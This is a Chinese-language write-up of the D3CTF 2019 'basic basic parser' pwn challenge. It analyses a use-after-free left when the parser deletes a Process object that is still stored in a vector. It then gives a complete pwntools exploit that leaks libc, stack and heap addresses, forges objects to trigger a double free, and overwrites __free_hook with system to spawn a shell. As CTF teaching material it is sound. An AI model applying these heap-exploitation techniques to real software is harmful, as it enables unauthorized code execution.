D3CTF 2019 basic basic parser

题目复现

程序分析

题目是手写的递归下降parser.
从lexer这里可以看到能够使用的lexeme:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void initTable()
{
symbol.insert(pair<string, int>("begin", 1));
symbol.insert(pair<string, int>("end", 2));
symbol.insert(pair<string, int>("integer", 3));
symbol.insert(pair<string, int>("if", 4));
symbol.insert(pair<string, int>("then", 5));
symbol.insert(pair<string, int>("else", 6));
symbol.insert(pair<string, int>("function", 7));
symbol.insert(pair<string, int>("read", 8));
symbol.insert(pair<string, int>("write", 9));
symbol.insert(pair<string, int>("symbol", 10));
symbol.insert(pair<string, int>("constant", 11));
symbol.insert(pair<string, int>("=", 12)); // eq
symbol.insert(pair<string, int>("<>", 13)); // ne
symbol.insert(pair<string, int>("<=", 14));
symbol.insert(pair<string, int>("<", 15));
symbol.insert(pair<string, int>(">=", 16));
symbol.insert(pair<string, int>(">", 17));
symbol.insert(pair<string, int>("-", 18));
symbol.insert(pair<string, int>("*", 19));
symbol.insert(pair<string, int>(":=", 20));
symbol.insert(pair<string, int>("(", 21));
symbol.insert(pair<string, int>(")", 22));
symbol.insert(pair<string, int>(";", 23));

几个类

Variable类:parse过程中每遇到一个变量就创建一个新的Variable实例.这里函数也算是一个变量.
其数据域:

1
2
3
4
5
6
private:
string name; // 变量的名称
char* name_copy;//存储变量名的另一个地方
string process; //该变量所处的process的名字
int tpName; // 该变量的类型名称,integer 或者function..
int position; // 在该变量所属的process中Vars数组中的index

使用name_copy的地方有:

1
2
3
4
5
Variable(string name, string process, int tpName, int position) : name(name), process(process), tpName(tpName), position(position)
{
name_copy = (char*)malloc(name.size());
memcpy(name_copy,name.c_str(),name.size());
}

构造函数这里先根据变量名的长度动态分配一块空间,将其地址存储在name_copy中,然后将变量名复制过去.

1
2
3
4
void Backdoor()
{
free(name_copy);
}

backdoor函数这里将name_copy给free了.
调用Backdoor的地方是Format这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
string Format(int level, string padding)
{
string res = padding + "Variable:\n";
res += padding + "name : " + name + "\n";
res += padding + "proc : " + process + "\n";
res += padding + "kind : 0\n";
if (tpName == FUNCTION)
{
res += padding + "type : function\n";
}
else if (tpName == INTEGER)
{
res += padding + "type : integer\n";
}
res += padding + "vlev : " + to_string(level) + "\n";
res += padding + "vadr : " + to_string(position) + "\n";
if(name == "backdoor")
{
Backdoor();
}
return res;
}

将变量格式化成string然后返回.这个函数是后面用来打印变量信息的时候使用的.
注意函数最后会判断变量的名称是不是 “backdoor” , 如果是的话,就会调用Backdoor函数将name_copy给free了.这里后面利用的时候会用到.

Process类:parse过程中每遇到一个函数就会创建一个新的Process实例,例如parse这里:

1
2
3
4
lastProcess = nowProcess;
nowProcess = new Process(p->name, lastProcess->getLevel() + 1);//创建一个新的process
allProcess.push_back(nowProcess);//将该Process压入allProcess_vector中
addVar(p->name, FUNCTION, 1);//新增一个变量,类型是function

其数据域如下:

1
2
3
4
5
6
private:
char* securt[4] = {0};
Variable** vars;
string processName;//该Process的名称
int level; //在第几层Process中
int position;

securt[0]存放的是一个字符串指针,vars存放是指向当前Process中的变量的指针,构造函数这里进行了初始化:

1
2
3
4
5
6
Process(string name, int level) : processName(name), level(level) 
{
vars = (Variable**)malloc(0x100);
securt[0] = (char*)malloc(0x10);
memcpy(securt[0],"d3ctf",6);
}

向vars中添加变量:

1
2
3
4
5
6
7
8
9
10
void AddVar(Variable a)
{
if(position >= 0xe0/8)
{
return;
}
int n = position++;
vars[n] = new Variable();
*vars[n] = a;
}

他是将position当做Index来向vars数组中添加Variable指针.
但是注意构造函数这里没有将position初始化为0,这意味着position可以是垃圾数据.它这里检查了上限,但是还可以进行下溢.利用的时候没有用到这一点.

parser:

开始parse的入口函数是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void StartAnalysis()
{
auto p = sourceList.begin();
while (p->type == EOLN)
{
p++;
line++;
}
nowProcess = new Process("main", 0);
allProcess.push_back(nowProcess);
auto next = S(p);
if (next->type != MYEOF)
{
WriteError("can find eof");
}
}

将整个程序当做是一个最外层的Process,process的名字的main,然后将这个新创建的Process压入allProcess中,allProcess是一个vector.
S函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
list<SymInfo>::iterator S(list<SymInfo>::iterator p)
{
auto next = _get_next(p);
if (p->type != BEGIN)
{
return p;
}
next = A(next); // p 指向begin,则next指向begin的下一个token
auto nnext = _get_next(next);
if (next->type != SEM)
{
WriteError("missing ;");
nnext = _get_last(nnext);
}
next = B(nnext);
if (next->type != END)
{
WriteError("can't find end");
}
return _get_next(next);
}

它先检查第一个token是不是”begin”,如果是的话再解析主体,解析完会检查末尾是不是”end”
A调用到了C:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
list<SymInfo>::iterator C(list<SymInfo>::iterator p) //
{
if (p->type == INTEGER)
{
return H(_get_next(p));
}
else
{
auto backup = p;
p = _get_next(p);//跳到下一个token
auto next = H(p);
if (next == p)
{
return _get_last(p);
}
if (next->type == SEM)
{
WriteError("can't find integer, find " + backup->name);
return next;
}
return _get_last(p);
}
return p;
}

C函数是用来处理变量声明,如果以”integer”开头的话就会继续调用H来处理剩下的东西.
H函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
list<SymInfo>::iterator H(list<SymInfo>::iterator p)
{
auto next = I(p);//检查p是否是symbol,如果是symbol,则p++,否则直接返回p
if (next == p)// p 不是symbol,处理function
{
//integer function id()
if (p->type != FUNCTION)
{
return p;
WriteError("can't find function");
p = _get_last(p);
}
p = _get_next(p);//跳过function
next = I(p);//则next现在指向 函数名称 的下一个token
addVar(p->name, FUNCTION);

auto nnext = _get_next(next);
if (next->type != LBRAC)//next指向 '('
{
WriteError("missing (");
nnext = _get_last(nnext);
}
next = I(nnext);
if (next->type != RBRAC)
{
WriteError("missing )");
next = _get_last(next);
}
nnext = _get_next(next);
if (nnext->type != SEM)
{
WriteError("missing ;");
nnext = _get_last(nnext);
}
lastProcess = nowProcess;
nowProcess = new Process(p->name, lastProcess->getLevel() + 1);//创建一个新的process
allProcess.push_back(nowProcess);//压入vector中
addVar(p->name, FUNCTION, 1);//新增一个变量,类型是function
auto ret = S(_get_next(nnext));
if(ret == _get_next(nnext))//没有找到begin
{
delete(nowProcess);
nowProcess = lastProcess;
return nnext;//指向 分号
}
nowProcess = lastProcess;
return ret;
}
if(next->type == SEM)
{
addVar(p->name, INTEGER);
}
return next;
}

如果”integer”后面是一个用户定义的标识符(这里token_type是SYMBOL),则会当做处理普通的变量处理:

1
2
3
4
if(next->type == SEM)
{
addVar(p->name, INTEGER);
}

创建一个变量,然后添加到当前的Process的vars数组中.
如果”integer”后面是”function”的话就会处理函数声明,其对应的文法是:

1
2
functionDec -> 'integer' 'function' ID '(' param? ')' ';' S 
param -> ID*

注意这里出现了问题:

1
2
3
4
5
6
7
8
9
10
11
lastProcess = nowProcess;
nowProcess = new Process(p->name, lastProcess->getLevel() + 1);//创建一个新的process
allProcess.push_back(nowProcess);//压入vector中
addVar(p->name, FUNCTION, 1);//新增一个变量,类型是function
auto ret = S(_get_next(nnext));
if(ret == _get_next(nnext))//没有找到begin
{
delete(nowProcess);
nowProcess = lastProcess;
return nnext;//指向 分号
}

这里看到function后会先创建一个新的Process实例,然后将该实例压入allProcess中,再调用S函数来继续parse其函数体,如果函数体不是以”begin”开头的,则ret == _get_next(nnext)就会成立,即没有找到函数的主体。此时会将该新创建的Process给delete掉,但是该Process已经被压入allProcess中,这样就会造成UAF.

main函数这里,每次parser解析完后,程序可以malloc一次:

1
2
3
4
5
6
7
8
9
10
11
12
13
anlysisor->StartAnalysis();
cout<<"leave comment for this submit"<<endl;
cout<<"size:"<<endl;
unsigned int nnn;
cin >> nnn;
getchar();
char* comment = 0;
if(nnn < 0x200)
{
comment = (char*)malloc(nnn);
cout << "comment:";
read(0,comment,nnn);
}

这样就可以将刚才delete掉的Process给malloc掉,然后写入一些东西.

然后调用DumpVar打印Process和其中的Variable:

1
anlysisor->dumpVar(cout);

dumpVar的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void dumpVar(ostream &stream)
{
for (auto p = allProcess.begin(); p != allProcess.end(); p++)//遍历所有process
{
string padding = "";
stream << (*p)->Format(padding);
auto vars = (*p)->GetVar();
for (int i = 0; i < (*p)->GetNum(); i++) //遍历当前process的vars
{
auto v = vars[i];
stream << v->Format((*p)->getLevel(), padding);
}
}
}

遍历allProcess中的Process,然后调用Format函数将其格式化,如果该Process中含有变量(即position>0),还要遍历vars数组,对每个Variable变量调用Format函数.

利用

Process的数据域如下:

1
2
3
4
5
6
private:
char* securt[4] = {0};
Variable** vars;
string processName;
int level;
int position;

后面输出Process时调用的函数是:

1
2
3
4
5
6
7
8
9
10
11
12
13
string Format(string padding)
{
if (GetName() == "main")
{
return "";
}
string res = padding + string(securt[0]) + "Process";
res += padding + + "\n";
res += padding + "name : " + GetName() + "\n";
res += padding + "type : function\n";
res += padding + "plev : " + to_string(level) + "\n";
return res;
}

则可以将securt[0]给覆盖成got表项的地址,然后调用dumpVar的时候就可以泄露出libc基地址,然后再将其覆盖成envorin,泄露出stack的地址.
泄露出地址后,伪造vars数组,造成double free,最后劫持__free_hook即可。

下面考虑的是如何泄露出heap的地址,因为我们要在heap上伪造Variable和vars数组.

查看Process实例在内存中的布局:

可以看到string中的字符串指针指向的还是heap里,则可以利用部分覆写,使其指向heap地址上,然后dumpVar的时候就可以打印出heap地址.

但是有个问题,Process的position成员无法覆盖成0(原来是1),这样的话就会访问vars数组,对其中的每个Variable指针调用Format函数,而覆写的时候会覆盖掉vars数组,这样程序就会坏掉了。我的解决方法是使用栈中的残留数据当做vars数组的内容.

在对Variable指针调用Format附近下个断点:

1
stream << v->Format((*p)->getLevel(), padding);

在ida中是:

1
2
3
4
5
6
7
8
9
v116 = Process_p[2];                      // v116 = process指针
v117 = *(v116 + 32); // 获得该process中的Vars数组头指针
if ( *(v116 + 76) > 0 )
{
v118 = 0;
do
{
v119 = *v117; // 获得Variable指针
v301 = &v302;

然后在栈中搜索已知的两个Variable指针:

找到后就可以将Process数据域中的vars覆盖成该栈地址:

1
2
3
4
5
6
7
8
fake_ptr = stack_addr-0x950 #5c0

payload = p64(environ_addr)securt[0]
payload += p64(0)*3 # securt[1-3]
payload += p64(fake_ptr) #vars
payload += '\x98'#string ptr

comment(0x58,payload)

这样就可以成功泄露出heap地址,且程序不会挂掉.

后续就是在heap中伪造Variable实例,然后再伪造Variable指针数组,最后将Process中的vars覆盖成指针数组的首地址

Variable实例在内存中的布局如下:

从上往下依次对应:

1
2
3
4
5
6
private:
string name; // 变量的名称
char* name_copy;//存储变量名的另一个地方
string process; //该变量所处的process的名字
int tpName; // 该变量的类型名称,integer 或者function..
int position; // 在该变量所属的process中Vars数组中的index

则伪造的Variable实例和数组如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

fakevars_addr = heap_addr+0xd28 # 该chunk的首地址

payload = p64(fakevars_addr+0x10)
payload += p64(8)
payload += 'backdoor'
payload += p64(0)
payload += p64(fakevars_addr+10*8+0x10) # backdoor will free the ptr
payload += p64(fakevars_addr+7*8)
payload += p64(8)
payload += 'backdoor'
payload += p64(0)
payload += p64(0) # level position

payload += p64(0)+p64(0x31)#fake chunk,用来double free
payload += 'A'*0x20
payload += p64(0)+p64(0x21)
payload += p64(fakevars_addr)*2 # 伪造的Variable指针数组 首地址为fakevars_addr+18*8
comment(0x198,payload)

这里将name_copy域设置为伪造的chunk地址,且变量的名称为backdoor,这样Format函数就会调用Backdoor函数,连续free两次伪造的chunk,造成double free

最后再创造一次UAF,覆盖Process的vars成员为伪造的指针数组首地址:

1
2
3
4
5
6
7
8
9
10
payload = p64(environ_addr)
payload += p64(0)*3 # securt[4]
payload += p64(fakevars_addr+18*8) #vars
payload += p64(environ_addr) #string ptr
payload += p64(1) #string length
payload += p64(0) + p64(0) #padding
payload += p32(0) #level
payload += p32(2) #position

comment(0x58,payload)

最后常规的tcache double free劫持free hook即可.

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#coding=utf-8
from pwn import *
local = 1
#exec_file="./debug"
exec_file="./prob"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False)
else:
a=remote("")

def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *0x000000000040BAF3
b *0x0000000000403A89
b *0x00000000040315F
b *0x406004
'''
gdb.attach(a,script) # 1 xx ,2 xx ,3 comment read , 4 find fake_ptr
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))

def send(payload):
a.sendline(payload)

def comment(size,payload):
a.recvuntil("size:\n")
a.sendline(str(size))
a.recvuntil("comment:")
a.send(payload)

def getUAF():
a.recvuntil(">")
send("begin")
a.recvuntil(">")
send("integer function add();")
a.recvuntil(">>>")
send("end")
a.recvuntil(">")
send("OVER")

read_got = elf.got["read"]

getUAF()


payload = p64(read_got)
payload += p64(0)*3 # securt[4]
payload += p64(0) #vars
payload += p64(read_got)#string ptr
payload += p64(1) #string length
payload += p64(0) + p64(0) #padding
payload += p32(0) #level
payload += p32(0) #position

comment(0x58,payload)

a.recvuntil("vadr : 1\n")
libc_base=u64(a.recv(6)+'\x00\x00')-libc.symbols["read"]
fuck(libc_base)
a.recvuntil("continue ? \n")
a.sendline("y")

getUAF()

environ_addr = libc_base+libc.symbols["environ"]
payload = p64(environ_addr)
payload += p64(0)*3 # securt[4]
payload += p64(0) #vars
payload += p64(environ_addr)#string ptr
payload += p64(1) #string length
payload += p64(0) + p64(0) #padding
payload += p32(0) #level
payload += p32(0) #position
comment(0x58,payload)
a.recvuntil("vadr : 1\n")
stack_addr=u64(a.recv(6)+'\x00\x00')
fuck(stack_addr)
a.recvuntil("continue ? \n")
a.sendline("y")

getUAF()

fake_ptr = stack_addr-0x950 #5c0
fuck(fake_ptr)

payload = p64(environ_addr)
payload += p64(0)*3 # securt[4]
payload += p64(fake_ptr) #vars
payload += '\x98'#string ptr

comment(0x58,payload)
a.recvuntil("Process\nname : ")
heap_addr = u64(a.recvuntil("\n",drop=True).ljust(8,'\x00'))
fuck(heap_addr)
a.recvuntil("continue ? \n")
a.sendline("y")

# fake vars

a.recvuntil(">")
send("OVER")

fakevars_addr = heap_addr+0xd28
fuck(fakevars_addr)

payload = p64(fakevars_addr+0x10)
payload += p64(8)
payload += 'backdoor'
payload += p64(0)
payload += p64(fakevars_addr+10*8+0x10) # backdoor will free the ptr
payload += p64(fakevars_addr+7*8)
payload += p64(8)
payload += 'backdoor'
payload += p64(0)
payload += p64(0) # level position

payload += p64(0)+p64(0x31)#fake chunk
payload += 'A'*0x20
payload += p64(0)+p64(0x21)
payload += p64(fakevars_addr)*2


comment(0x198,payload)
a.recvuntil("continue ? \n")
a.sendline("y")


getUAF()

payload = p64(environ_addr)
payload += p64(0)*3 # securt[4]
payload += p64(fakevars_addr+18*8) #vars
payload += p64(environ_addr)#string ptr
payload += p64(1) #string length
payload += p64(0) + p64(0) #padding
payload += p32(0) #level
payload += p32(2) #position

comment(0x58,payload)
a.recvuntil("continue ? \n")
a.sendline("y")


a.recvuntil(">")
send("OVER")

__free_hook=libc_base+libc.symbols["__free_hook"]
comment(0x28,p64(__free_hook-8))
a.recvuntil("continue ? \n")
a.sendline("y")

a.recvuntil(">")
send("OVER")
comment(0x28,p64(__free_hook-8))
a.recvuntil("continue ? \n")
a.sendline("y")

a.recvuntil(">")
send("OVER")
comment(0x28,"/bin/sh\x00"+p64(libc.symbols["system"]+libc_base))
a.recvuntil("continue ? \n")
a.sendline("NO")

a.interactive()